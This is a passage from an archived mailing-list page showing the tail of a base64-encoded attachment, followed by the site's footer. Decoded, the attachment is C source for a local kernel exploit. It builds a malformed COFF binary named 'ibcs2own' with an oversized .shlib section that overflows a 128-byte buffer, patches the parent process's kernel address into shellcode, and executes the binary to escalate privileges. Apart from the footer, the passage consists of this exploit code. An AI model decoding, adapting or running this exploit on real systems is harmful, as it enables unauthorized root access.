YXQ7ICAgICAgIC8qIHRpbWVzdGFtcCAqLw0KICAgIGxvbmcgICAgICAgIGZf
c3ltcHRyOyAgICAgICAvKiBmaWxlIG9mZnNldCBvZiBzeW1ib2wgdGFibGUg
Ki8NCiAgICBsb25nICAgICAgICBmX25zeW1zOyAgICAgICAgLyogIyBvZiBz
eW1ib2wgdGFibGUgZW50cmllcyAqLw0KICAgIHVfc2hvcnQgICAgIGZfb3B0
aGRyOyAgICAgICAvKiBzaXplIG9mIG9wdGlvbmFsIGhlYWRlciAqLw0KICAg
IHVfc2hvcnQgICAgIGZfZmxhZ3M7ICAgICAgICAvKiBmbGFncyAqLw0KfTsN
Cg0KLyogZl9tYWdpYyBmbGFncyAqLw0KI2RlZmluZSBDT0ZGX01BR0lDX0kz
ODYgMHgxNGMNCg0KLyogZl9mbGFncyAqLw0KI2RlZmluZSBDT0ZGX0ZfUkVM
RkxHICAgMHgxDQojZGVmaW5lIENPRkZfRl9FWEVDICAgICAweDINCiNkZWZp
bmUgQ09GRl9GX0xOTk8gICAgIDB4NA0KI2RlZmluZSBDT0ZGX0ZfTFNZTVMg
ICAgMHg4DQojZGVmaW5lIENPRkZfRl9TV0FCRCAgICAweDQwDQojZGVmaW5l
IENPRkZfRl9BUjE2V1IgICAweDgwDQojZGVmaW5lIENPRkZfRl9BUjMyV1Ig
ICAweDEwMA0KDQovKg0KICogQ09GRiBzeXN0ZW0gaGVhZGVyDQogKi8NCg0K
c3RydWN0IGNvZmZfYW91dGhkciB7DQogICAgc2hvcnQgICAgICAgYV9tYWdp
YzsNCiAgICBzaG9ydCAgICAgICBhX3ZzdGFtcDsNCiAgICBsb25nICAgICAg
ICBhX3RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfZHNpemU7DQogICAgbG9u
ZyAgICAgICAgYV9ic2l6ZTsNCiAgICBsb25nICAgICAgICBhX2VudHJ5Ow0K
ICAgIGxvbmcgICAgICAgIGFfdHN0YXJ0Ow0KICAgIGxvbmcgICAgICAgIGFf
ZHN0YXJ0Ow0KfTsNCg0KLyogbWFnaWMgKi8NCiNkZWZpbmUgQ09GRl9aTUFH
SUMgICAgIDA0MTMNCg0KLyoNCiAqIENPRkYgc2VjdGlvbiBoZWFkZXINCiAq
Lw0KDQpzdHJ1Y3QgY29mZl9zY25oZHIgew0KICAgIGNoYXIgICAgICAgIHNf
bmFtZVs4XTsNCiAgICBsb25nICAgICAgICBzX3BhZGRyOw0KICAgIGxvbmcg
ICAgICAgIHNfdmFkZHI7DQogICAgbG9uZyAgICAgICAgc19zaXplOw0KICAg
IGxvbmcgICAgICAgIHNfc2NucHRyOw0KICAgIGxvbmcgICAgICAgIHNfcmVs
cHRyOw0KICAgIGxvbmcgICAgICAgIHNfbG5ub3B0cjsNCiAgICB1X3Nob3J0
ICAgICBzX25yZWxvYzsNCiAgICB1X3Nob3J0ICAgICBzX25sbm5vOw0KICAg
IGxvbmcgICAgICAgIHNfZmxhZ3M7DQp9Ow0KDQovKiBzX2ZsYWdzICovDQoj
ZGVmaW5lIENPRkZfU1RZUF9URVhUICAgICAgICAgIDB4MjANCiNkZWZpbmUg
Q09GRl9TVFlQX0RBVEEgICAgICAgICAgMHg0MA0KI2RlZmluZSBDT0ZGX1NU
WVBfU0hMSUIgICAgICAgICAweDgwMA0KDQoNCnZvaWQgZ2V0X3Byb2MocGlk
X3QsIHN0cnVjdCBraW5mb19wcm9jICopOw0Kdm9pZCBzaWdfaGFuZGxlcigp
Ow0KDQppbnQNCm1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQ0Kew0KICB1
X2ludCBpLCBmZCwgZGVidWcgPSAwOw0KICB1X2NoYXIgKnB0ciwgKnNocHRy
Ow0KICB1X2xvbmcgKmxwdHI7DQogIHVfbG9uZyBwcHJvY2Fkciwgb2Zmc2V0
Ow0KICBzdHJ1Y3Qga2luZm9fcHJvYyBrcDsNCiAgY2hhciAqYXJnc1tdID0g
eyAiLi9pYmNzMm93biIsIE5VTEx9Ow0KICBjaGFyICplbnZzW10gPSB7ICJS
SVA9dGhlbyIsIE5VTEx9Ow0KICAvL0NPRkYgc3RydWN0dXJlcw0KICBzdHJ1
Y3QgY29mZl9maWxlaGRyIGZoZHI7DQogIHN0cnVjdCBjb2ZmX2FvdXRoZHIg
YWhkcjsNCiAgc3RydWN0IGNvZmZfc2NuaGRyICBzY24wLCBzY24xLCBzY24y
Ow0KDQogICBpZihhcmd2WzFdKSB7DQogICAgICBpZighc3RybmNtcChhcmd2
WzFdLCAiLXYiLCAyKSkgDQogICAgICAgICAgICAgIGRlYnVnID0gMTsNCiAg
ICAgIGVsc2UgeyANCgkgICAgICBwcmludGYoIi12OiB2ZXJib3NlIGZsYWcg
b25seVxuIik7DQoJICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH0NCiAg
ICB9DQogDQogICAgWkVSTyhmaGRyKTsNCiAgICBmaGRyLmZfbWFnaWMgPSBD
T0ZGX01BR0lDX0kzODY7DQogICAgZmhkci5mX25zY25zID0gMzsgLy9URVhU
LCBEQVRBLCBTSExJQg0KICAgIGZoZHIuZl90aW1kYXQgPSAweGRlYWRiZWVm
Ow0KICAgIGZoZHIuZl9zeW1wdHIgPSAweDQwMDA7DQogICAgZmhkci5mX25z
eW1zID0gMTsNCiAgICBmaGRyLmZfb3B0aGRyID0gc2l6ZW9mKGFoZHIpOyAv
L0FPVVQgb3B0IGhlYWRlciBzaXplDQogICAgZmhkci5mX2ZsYWdzID0gQ09G
Rl9GX0VYRUM7DQoNCiAgICBaRVJPKGFoZHIpOw0KICAgIGFoZHIuYV9tYWdp
YyA9IENPRkZfWk1BR0lDOw0KICAgIGFoZHIuYV90c2l6ZSA9IDA7DQogICAg
YWhkci5hX2RzaXplID0gMDsgDQogICAgYWhkci5hX2JzaXplID0gMDsNCiAg
ICBhaGRyLmFfZW50cnkgPSAweDEwMDAwOw0KICAgIGFoZHIuYV90c3RhcnQg
PSAwOw0KICAgIGFoZHIuYV9kc3RhcnQgPSAwOw0KICAgDQogICAgWkVSTyhz
Y24wKTsNCiAgICBtZW1jcHkoJnNjbjAuc19uYW1lLCAiLnRleHQiLCA1KTsN
CiAgICBzY24wLnNfcGFkZHIgPSAweDEwMDAwOw0KICAgIHNjbjAuc192YWRk
ciA9IDB4MTAwMDA7DQogICAgc2NuMC5zX3NpemUgPSA0MDk2Ow0KICAgIHNj
bjAuc19zY25wdHIgPSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAo
c2l6ZW9mKHNjbjApKjMpOyANCiAgICAvL2ZpbGUgb2Zmc2V0IG9mIC50ZXh0
IHNlZ21lbnQNCiAgICBzY24wLnNfcmVscHRyID0gMDsNCiAgICBzY24wLnNf
bG5ub3B0ciA9IDA7DQogICAgc2NuMC5zX25yZWxvYyA9IDA7DQogICAgc2Nu
MC5zX25sbm5vID0gMDsNCiAgICBzY24wLnNfZmxhZ3MgPSBDT0ZGX1NUWVBf
VEVYVDsNCg0KICAgIFpFUk8oc2NuMSk7DQogICAgbWVtY3B5KCZzY24xLnNf
bmFtZSwgIi5kYXRhIiwgNSk7DQogICAgc2NuMS5zX3BhZGRyID0gMHgxMDAw
MCAtIDQwOTY7DQogICAgc2NuMS5zX3ZhZGRyID0gMHgxMDAwMCAtIDQwOTY7
DQogICAgc2NuMS5zX3NpemUgPSA0MDk2Ow0KICAgIHNjbjEuc19zY25wdHIg
PSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAoc2l6ZW9mKHNjbjAp
KjMpICsgNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBvZiAuZGF0YSBzZWdt
ZW50DQogICAgc2NuMS5zX3JlbHB0ciA9IDA7DQogICAgc2NuMS5zX2xubm9w
dHIgPSAwOw0KICAgIHNjbjEuc19ucmVsb2MgPSAwOw0KICAgIHNjbjEuc19u
bG5ubyA9IDA7DQogICAgc2NuMS5zX2ZsYWdzID0gQ09GRl9TVFlQX0RBVEE7
DQoNCiAgICBaRVJPKHNjbjIpOw0KICAgIG1lbWNweSgmc2NuMi5zX25hbWUs
ICIuc2hsaWIiLCA2KTsNCiAgICBzY24yLnNfcGFkZHIgPSAwOw0KICAgIHNj
bjIuc192YWRkciA9IDA7DQogICAgc2NuMi5zX3NpemUgPSAweGIwOyAvL0hF
UkUgSVMgREEgT1ZGISEhIHN0YXRpY19idWZmZXIgPSAxMjgNCiAgICBzY24y
LnNfc2NucHRyID0gc2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNp
emVvZihzY24wKSozKSArIDIqNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBv
ZiAuZGF0YSBzZWdtZW50DQogICAgc2NuMi5zX3JlbHB0ciA9IDA7DQogICAg
c2NuMi5zX2xubm9wdHIgPSAwOw0KICAgIHNjbjIuc19ucmVsb2MgPSAwOw0K
ICAgIHNjbjIuc19ubG5ubyA9IDA7DQogICAgc2NuMi5zX2ZsYWdzID0gQ09G
Rl9TVFlQX1NITElCOw0KDQogICAgb2Zmc2V0ID0gc2l6ZW9mKGZoZHIpICsg
c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDMqNDA5NjsNCiAg
ICBwdHIgPSAoY2hhciAqKSBtYWxsb2Mob2Zmc2V0KTsNCiAgICBpZighcHRy
KSB7IA0KCQlwZXJyb3IoIm1hbGxvYyIpOw0KCQlleGl0KC0xKTsNCiAgICB9
DQoNCiAgICBtZW1zZXQocHRyLCAweGNjLCBvZmZzZXQpOyAgLyogZmlsbCBp
bnQzICovDQoNCiAgICAvKiBjb3B5IHNlY3Rpb25zICovDQogICAgb2Zmc2V0
ID0gMDsNCiAgICBtZW1jcHkocHRyLCAoY2hhciAqKSAmZmhkciwgc2l6ZW9m
KGZoZHIpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGZoZHIpOw0KDQogICAg
bWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZhaGRyLCBzaXplb2YoYWhk
cikpOyANCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGFoZHIpOw0KCQ0KICAgIG1l
bWNweShwdHIrb2Zmc2V0LCAoY2hhciAqKSAmc2NuMCwgc2l6ZW9mKHNjbjAp
KTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNjbjApOw0KDQogICAgbWVtY3B5
KHB0citvZmZzZXQsICZzY24xLCBzaXplb2Yoc2NuMSkpOw0KICAgIG9mZnNl
dCArPSBzaXplb2Yoc2NuMSk7DQoNCiAgICBtZW1jcHkocHRyK29mZnNldCwg
KGNoYXIgKikgJnNjbjIsIHNpemVvZihzY24yKSk7DQogICAgb2Zmc2V0ICs9
IHNpemVvZihzY24yKTsNCg0KICAgIGxwdHIgPSAodV9sb25nICopICgoY2hh
ciAqKXB0ciArIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIFwNCiAg
ICAgICAgICAgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQwOTYgKyAw
eGIwIC0gOCk7DQoNCiAgICBzaHB0ciA9IChjaGFyICopIG1hbGxvYyg0MDk2
KTsNCiAgICBpZighc2hwdHIpIHsNCgkJcGVycm9yKCJtYWxsb2MiKTsNCgkJ
ZXhpdCgtMSk7DQogICAgfQ0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJpbnRm
KCJwYXlsb2FkIGFkcjogMHglLjh4XHQiLCBzaHB0cik7DQoNCiAgICBtZW1z
ZXQoc2hwdHIsIDB4Y2MsIDQwOTYpOw0KDQogICAgZ2V0X3Byb2MoKHBpZF90
KSBnZXRwcGlkKCksICZrcCk7DQogICAgcHByb2NhZHIgPSAodV9sb25nKSBr
cC5rcF9lcHJvYy5lX3BhZGRyOw0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJp
bnRmKCJwYXJlbnQgcHJvYyBhZHI6IDB4JS44eFxuIiwgcHByb2NhZHIpOyAN
Cg0KICAgICpscHRyKysgPSAweGRlYWRiZWVmOw0KICAgICpscHRyID0gKHVf
bG9uZykgc2hwdHI7DQoNCiAgICBzaGVsbGNvZGVbNV0gPSBwcHJvY2FkciAm
IDB4ZmY7DQogICAgc2hlbGxjb2RlWzZdID0gKHBwcm9jYWRyID4+IDgpICYg
MHhmZjsNCiAgICBzaGVsbGNvZGVbN10gPSAocHByb2NhZHIgPj4gMTYpICYg
MHhmZjsNCiAgICBzaGVsbGNvZGVbOF0gPSAocHByb2NhZHIgPj4gMjQpICYg
MHhmZjsNCg0KICAgIG1lbWNweShzaHB0ciwgc2hlbGxjb2RlLCBzaXplb2Yo
c2hlbGxjb2RlKS0xKTsNCg0KICAgIHVubGluaygiLi9pYmNzMm93biIpOw0K
ICAgIGlmKChmZCA9IG9wZW4oIi4vaWJjczJvd24iLCBPX0NSRUFUXk9fUkRX
UiwgMDc1NSkpIDwgMCkgew0KCQlwZXJyb3IoIm9wZW4iKTsNCgkJZXhpdCgt
MSk7DQoJfQ0KDQogICAgd3JpdGUoZmQsIHB0ciwgc2l6ZW9mKGZoZHIpICsg
c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQw
OTYgKyA0MDk2KTsNCiAgICBjbG9zZShmZCk7DQogICAgZnJlZShwdHIpOw0K
DQogICAgc2lnbmFsKFNJR1NFR1YsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVy
KTsNCiAgICBzaWduYWwoU0lHSUxMLCAodm9pZCAoKikoKSlzaWdfaGFuZGxl
cik7DQogICAgc2lnbmFsKFNJR1NZUywgKHZvaWQgKCopKCkpc2lnX2hhbmRs
ZXIpOw0KICAgIHNpZ25hbChTSUdCVVMsICh2b2lkICgqKSgpKXNpZ19oYW5k
bGVyKTsNCiAgICBzaWduYWwoU0lHQUJSVCwgKHZvaWQgKCopKCkpc2lnX2hh
bmRsZXIpOw0KICAgIHNpZ25hbChTSUdUUkFQLCAodm9pZCAoKikoKSlzaWdf
aGFuZGxlcik7DQoNCiAgICBwcmludGYoIlxuRE8gTk9UIEZPUkdFVCBUTyBT
SFJFRCAuL2liY3Myb3duXG4iKTsNCiAgICBleGVjdmUoYXJnc1swXSwgYXJn
cywgZW52cyk7DQogICAgcGVycm9yKCJleGVjdmUiKTsNCn0NCg0Kdm9pZA0K
c2lnX2hhbmRsZXIoKQ0Kew0KICAgX2V4aXQoMCk7DQp9DQoNCnZvaWQNCmdl
dF9wcm9jKHBpZF90IHBpZCwgc3RydWN0IGtpbmZvX3Byb2MgKmtwKQ0Kew0K
ICAgdV9pbnQgYXJyWzRdLCBsZW47DQoNCiAgICAgICAgYXJyWzBdID0gQ1RM
X0tFUk47DQogICAgICAgIGFyclsxXSA9IEtFUk5fUFJPQzsNCiAgICAgICAg
YXJyWzJdID0gS0VSTl9QUk9DX1BJRDsNCiAgICAgICAgYXJyWzNdID0gcGlk
Ow0KICAgICAgICBsZW4gPSBzaXplb2Yoc3RydWN0IGtpbmZvX3Byb2MpOw0K
ICAgICAgICBpZihzeXNjdGwoYXJyLCA0LCBrcCwgJmxlbiwgTlVMTCwgMCkg
PCAwKSB7DQogICAgICAgICAgICAgICAgcGVycm9yKCJzeXNjdGwiKTsNCiAg
ICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgInRoaXMgaXMgYW4gdW5l
eHBlY3RlZCBlcnJvciwgcmVydW4hXG4iKTsNCiAgICAgICAgICAgICAgICBl
eGl0KC0xKTsNCiAgICAgICAgfQ0KDQp9DQoNCg==
---559023410-851401618-1069180443=:685--


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру